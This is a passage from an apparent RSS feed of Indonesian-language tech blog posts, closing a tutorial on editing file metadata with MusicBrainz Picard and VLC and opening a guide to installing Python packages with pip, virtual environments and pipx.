&lt;li&gt;&lt;strong&gt;Mengubah metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Misalnya, saya ingin mengubah metadata “title”-nya menjadi “Cerah”.&lt;/p&gt;&lt;p&gt;Untuk mengubah metadata,caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Klik kanan pada metadata yang ingin diubah, pilih “Edit”&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Edit&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;595&quot; src=&quot;/_astro/picard2-1.Dp9bAxOh_28l9qz.webp&quot; /&gt;&lt;figcaption&gt;Edit&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Pada window “Edit Tag”, klik “Edit Value”, ganti, dan klik “Ok”.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Edit Value&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;596&quot; src=&quot;/_astro/picard2-2.Duc95aY1_ZkqEOM.webp&quot; /&gt;&lt;figcaption&gt;Edit Value&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Seperti terlihat, metadata sudah berhasil kita ubah.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Successfully modify metadata!&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;596&quot; src=&quot;/_astro/picard2-3.BNeeTRRX_1MCGKp.webp&quot; /&gt;&lt;figcaption&gt;Successfully modify metadata!&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Menambahkan metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Misalnya, saya ingin menambahkan metadata “Editor” dengan parameter/informasi “Wildan”.&lt;/p&gt;&lt;p&gt;Caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Klik kanan di bagian metadata, pilih “Add New Tag”.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Add new tag&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;595&quot; src=&quot;/_astro/picard3-1.CeCdU22g_1zaCQm.webp&quot; /&gt;&lt;figcaption&gt;Add new tag&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Isi kolom di atas dengan metadata baru yang ingin ditambahkan (“Editor), kemudian klik “Edit Value” untuk mengisi kolom di bawahnya dengan parameternya (“Wildan”), klik “Ok”.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Edit Value&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;595&quot; src=&quot;/_astro/picard3-2.BpYiqYbz_Zp5qL7.webp&quot; /&gt;&lt;figcaption&gt;Edit Value&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Metadata baru berhasil ditambahkan!&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Successfully add new metadata!&quot; loading=&quot;lazy&quot; width=&quot;793&quot; height=&quot;593&quot; src=&quot;/_astro/picard3-3.Bhehiz_z_1Jsie.webp&quot; /&gt;&lt;figcaption&gt;Successfully add new metadata!&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Menghapus metadata&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Misalnya, saya ingin menghapus metadata “Album”.&lt;/p&gt;&lt;p&gt;Caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Klik kanan pada metadata yang ingin dihapus (“Album”), pilih “Remove”.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Remove Album metadata.&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;595&quot; src=&quot;/_astro/picard4-1.Cd3TpVqL_iz9zc.webp&quot; /&gt;&lt;figcaption&gt;Remove Album metadata.&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Terhapus!&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Successfully remove metadata!&quot; loading=&quot;lazy&quot; width=&quot;794&quot; height=&quot;592&quot; src=&quot;/_astro/picard4-2.DWxVf5QT_10RGcM.webp&quot; /&gt;&lt;figcaption&gt;Successfully remove metadata!&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat, kita berhasil menghapus metadata “Album”.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. &lt;code&gt;vlc&lt;/code&gt;&lt;a href=&quot;#3-vlc&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Sekarang, saya akan demonstrasikan penggunaan &lt;code&gt;vlc&lt;/code&gt; sebagai &lt;em&gt;tools&lt;/em&gt; untuk mengintip dan memanipulasi metadata. &lt;code&gt;vlc&lt;/code&gt; seperti kita ketahui bersama juga merupakan aplikasi berbasis GUI. File yang akan saya gunakan untuk demonstrasi ini adalah file video (mp4).&lt;/p&gt;&lt;p&gt;Meskipun kita dapat melakukan manipulasi metadata di &lt;code&gt;vlc&lt;/code&gt;, tapi, &lt;code&gt;vlc&lt;/code&gt; sangat membatasi metadata yang dapat dimanipulasi (diubah, ditambahkan, dan dihapus):&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Kita tidak dapat mengubah metadata yang sudah ada.&lt;/li&gt;
&lt;li&gt;Kita hanya dapat menambahkan metadata terkait 6 hal saja: (&lt;em&gt;&lt;strong&gt;Track Number&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;Artist&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;Album&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;Comment&lt;/strong&gt;&lt;/em&gt;, &lt;em&gt;&lt;strong&gt;Content Create Date&lt;/strong&gt;&lt;/em&gt;, dan &lt;em&gt;&lt;strong&gt;Genre&lt;/strong&gt;&lt;/em&gt;.)&lt;/li&gt;
&lt;li&gt;Kita tidak dapat menghapus metadata yang sudah ada sebelumnya, kecuali ke-6 metadata yang dapat ditambahkan di atas.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Oleh karena itu, untuk simplifikasi, berikut saya demonstrasikan penggunaan &lt;code&gt;vlc&lt;/code&gt; untuk memanipulasi ke-6 metadata tersebut.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Melihat, mengubah, menambahkan, dan menghapus&lt;/strong&gt; metadata&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Caranya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buka file video yang ingin diganti metadatanya dengan &lt;code&gt;vlc&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Klik menu “Tools” -&amp;gt; “Media Information” atau Ctrl+I.&lt;/li&gt;
&lt;li&gt;Isi/hapus metadata yang ingin diganti.&lt;/li&gt;
&lt;li&gt;Klik “Save metadata”&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Selesai!&lt;/p&gt;&lt;p&gt;Beberapa kesimpulan yang bisa diambil dari mempelajari metadata (&lt;em&gt;at least for me&lt;/em&gt;):&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Metadata adalah data tentang data.&lt;/li&gt;
&lt;li&gt;Metadata dapat dimanipulasi, meskipun belum tentu semua.&lt;/li&gt;
&lt;/ol&gt;&lt;hr /&gt;&lt;p&gt;Artikel ini ditulis di Archlinux: (&lt;em&gt;click to enlarge&lt;/em&gt;)&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;img alt=&quot;archlinux1&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/archlinux1.BAY2RbWW_IHF5v.webp&quot; /&gt;&lt;figcaption&gt;archlinux1&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;archlinux2&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/archlinux2.UN_3X_E6_Z18kWnW.webp&quot; /&gt;&lt;figcaption&gt;archlinux2&lt;/figcaption&gt;&lt;/figure&gt;&lt;figure&gt;&lt;img alt=&quot;archlinux3&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/archlinux3.Py2JxFe7_Z2lGxMF.webp&quot; /&gt;&lt;figcaption&gt;archlinux3&lt;/figcaption&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://kbbi.kemendikdasmen.go.id/entri/preambul&quot; target=&quot;_blank&quot;&gt;https://kbbi.kemendikdasmen.go.id/entri/preambul&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://kbbi.kemendikdasmen.go.id/entri/metadata&quot; target=&quot;_blank&quot;&gt;https://kbbi.kemendikdasmen.go.id/entri/metadata&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ibm.com/think/topics/metadata&quot; target=&quot;_blank&quot;&gt;https://www.ibm.com/think/topics/metadata&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-3&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>How to Install Python Packages with `pip` &amp; `pipx`</title><link>https://shangdi.github.io/posts/tech/pip/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/pip/</guid><description>A step-by-step guidance on how to install python packages using pip &amp; pipx.</description><pubDate>Sat, 20 Dec 2025 23:38:10 GMT</pubDate><content:encoded>&lt;p&gt;Beberapa aplikasi Python&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; sebetulnya dapat langsung di-&lt;em&gt;install&lt;/em&gt; untuk kemudian digunakan.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Aplikasi/paket-paket ini dapat dilihat di PyPi (&lt;em&gt;The Python Package Index&lt;/em&gt;):&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;a href=&quot;https://pypi.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;PyPi&lt;/strong&gt;&lt;/a&gt;: &lt;a href=&quot;https://pypi.org/&quot; target=&quot;_blank&quot;&gt;https://pypi.org/&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Python adalah ‘bahasa pemrograman tingkat tinggi’ yang dikembangkan oleh Guido van Rossum pada akhir tahun 1980-an. Disebut ‘bahasa pemrograman tingkat tinggi’ karena &lt;em&gt;syntax&lt;/em&gt; Python lebih dekat ke bahasa manusia alih-alih ke bahasa mesin. Nama Python sendiri diambil dari serial komedi asal British bernama &lt;a href=&quot;https://en.wikipedia.org/wiki/Monty_Python%27s_Flying_Circus&quot; target=&quot;_blank&quot;&gt;“Monty Python’s Flying Circus”&lt;/a&gt;.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;section&gt;&lt;h2&gt;&lt;code&gt;pip&lt;/code&gt;&lt;a href=&quot;#pip&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Repository official &lt;code&gt;pip&lt;/code&gt; dapat ditemukan di Github:&lt;/p&gt;&lt;a href=&quot;https://github.com/pypa/pip&quot; target=&quot;_blank&quot;&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;pypa&lt;/div&gt;&lt;/div&gt;&lt;div&gt;/&lt;/div&gt;&lt;div&gt;pip&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;Waiting for api.github.com...&lt;/div&gt;&lt;div&gt;&lt;div&gt;00K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;div&gt;0K&lt;/div&gt;&lt;span&gt;Waiting...&lt;/span&gt;&lt;/div&gt;&lt;/a&gt;&lt;p&gt;Berikut langkah-langkah penggunaanya:&lt;/p&gt;&lt;section&gt;&lt;h3&gt;1. Install &lt;code&gt;python&lt;/code&gt;&lt;a href=&quot;#1-install-python&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Tentu saja, karena aplikasi-aplikasi di &lt;a href=&quot;https://pypi.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;PyPi&lt;/strong&gt;&lt;/a&gt; adalah aplikasi Python, maka kita perlu memasang &lt;strong&gt;Python&lt;/strong&gt; terlebih dahulu.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Perlu diketahui, Python punya 2 versi:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Python versi 2 (sudah tidak dilanjut lagi.)&lt;/li&gt;
&lt;li&gt;Python versi 3&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Seperti terlihat, Python versi 2 sudah tidak dilanjut lagi perkembangannya, sehingga banyak aplikasi modern dikembangkan dengan yang versi 3. Jadi, pastikan ketika kita ingin meng-&lt;em&gt;install&lt;/em&gt; Python, kita memasang versi yang sesuai dengan kebutuhan atau spesifikasi &lt;em&gt;software&lt;/em&gt; yang ingin dijalanan…&lt;/p&gt;&lt;p&gt;Di sini, saya akan memasang Python versi 3.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install python3&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy python&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install python3&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install pyton3&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Untuk memastikan Python3 sudah terpasang, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;python&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--version&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;python3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;python3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;2. Create &lt;code&gt;virtualenv&lt;/code&gt;&lt;a href=&quot;#2-create-virtualenv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selanjutnya, kita perlu membuat &lt;code&gt;virtual environment&lt;/code&gt; dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;python&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-m&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;venv&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{nama-folder}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Bagian &lt;strong&gt;{nama-folder}&lt;/strong&gt; bisa diganti sebebas-bebasnya karena tidak akan berpengaruh ke &lt;em&gt;software&lt;/em&gt;-nya. Akan tetapi, akan lebih baik kalau namanya disesuaikan dengan nama &lt;em&gt;software/package&lt;/em&gt; yang akan di-&lt;em&gt;install&lt;/em&gt;.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;3. Activate &lt;code&gt;venv&lt;/code&gt;&lt;a href=&quot;#3-activate-venv&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, kita akan mengaktifkan &lt;code&gt;virtual environment&lt;/code&gt; yang sudah kita buat dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;source&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{nama-folder}/bin/activate&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;4. Use &lt;code&gt;pip&lt;/code&gt;&lt;a href=&quot;#4-use-pip&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita kemudian dapat menggunakan &lt;code&gt;pip&lt;/code&gt; untuk meng-&lt;em&gt;install&lt;/em&gt; suatu &lt;em&gt;package&lt;/em&gt; atau &lt;em&gt;software&lt;/em&gt;.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./&lt;/span&gt;&lt;span&gt;{nama-folder}&lt;/span&gt;&lt;span&gt;/bin/pip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;{nama-package}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;{nama-pakcakge}&lt;/strong&gt; diganti dengan nama paket yang hendak dipasang.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;5. Run The Package&lt;a href=&quot;#5-run-the-package&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Selesai! Kita sekarang dapat menjalankan aplikasinya dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;./&lt;/span&gt;&lt;span&gt;{nama-folder}&lt;/span&gt;&lt;span&gt;/bin/&lt;/span&gt;&lt;span&gt;{nama-package}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;
Cara tersebut dapat terus dilakukan untuk dikemudian hari, bahkan tanpa &lt;code&gt;python&lt;/code&gt; sekalipun.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;&lt;code&gt;pipx&lt;/code&gt;&lt;a href=&quot;#pipx&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;code&gt;pipx&lt;/code&gt; mirip dengan &lt;code&gt;pip&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Perbedaan paling utama hanya di &lt;em&gt;packages&lt;/em&gt; yang dapat di-&lt;em&gt;install&lt;/em&gt; oleh masing-masing &lt;em&gt;tool&lt;/em&gt; tersebut. Jika &lt;code&gt;pip&lt;/code&gt; dapat digunakan untuk meng-install aplikasi dan &lt;em&gt;library&lt;/em&gt;, &lt;code&gt;pipx&lt;/code&gt; hanya ditujukan untuk meng-&lt;em&gt;install&lt;/em&gt; aplikasi Python saja, jadi tidak bisa digunakan untuk meng-&lt;em&gt;install&lt;/em&gt; &lt;em&gt;library&lt;/em&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Jadi, kalau saya boleh simpulkan sendiri, &lt;code&gt;pipx&lt;/code&gt; lebih mirip seperti &lt;strong&gt;package manager&lt;/strong&gt; yang ada di linux, misalnya seperti &lt;code&gt;pacman&lt;/code&gt; di Archlinux, &lt;code&gt;apt&lt;/code&gt; di Debian/Ubuntu, &lt;code&gt;Zypper&lt;/code&gt; di Opensuse, dan lain sebagainya.&lt;/p&gt;&lt;p&gt;Meskipun demikian, keduanya sama-sama berjalan dengan menggunakan konsep &lt;em&gt;virtual environment&lt;/em&gt;, sehingga aplikasi ataupun &lt;em&gt;library&lt;/em&gt; yang ter-&lt;em&gt;install&lt;/em&gt; tidak akan mempengaruhi system.&lt;/p&gt;&lt;p&gt;Berikut adalah perbandingan antara &lt;code&gt;pip&lt;/code&gt; &amp;amp; &lt;code&gt;pipx&lt;/code&gt; yang lebih spesifik:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;










































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Aspect&lt;/th&gt;&lt;th&gt;pip&lt;/th&gt;&lt;th&gt;pipx&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Primary purpose&lt;/td&gt;&lt;td&gt;Library and package management&lt;/td&gt;&lt;td&gt;Application installation and execution&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Installation scope&lt;/td&gt;&lt;td&gt;Project-specific or global&lt;/td&gt;&lt;td&gt;Isolated applications with global access&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Dependency management&lt;/td&gt;&lt;td&gt;Manual virtual environment handling&lt;/td&gt;&lt;td&gt;Automatic isolation per application&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Target use case&lt;/td&gt;&lt;td&gt;Development dependencies and libraries&lt;/td&gt;&lt;td&gt;Command-line tools and standalone apps&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Environment handling&lt;/td&gt;&lt;td&gt;Requires manual venv management&lt;/td&gt;&lt;td&gt;Creates isolated environments automatically&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Package types&lt;/td&gt;&lt;td&gt;Any Python package or library&lt;/td&gt;&lt;td&gt;Applications with console scripts&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Upgrade strategy&lt;/td&gt;&lt;td&gt;Manual dependency resolution&lt;/td&gt;&lt;td&gt;Per-application upgrade isolation&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Configuration complexity&lt;/td&gt;&lt;td&gt;Flexible but requires setup&lt;/td&gt;&lt;td&gt;Minimal configuration needed&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Development workflow&lt;/td&gt;&lt;td&gt;Integrates with &lt;code&gt;requirements.txt&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Designed for end-user tool 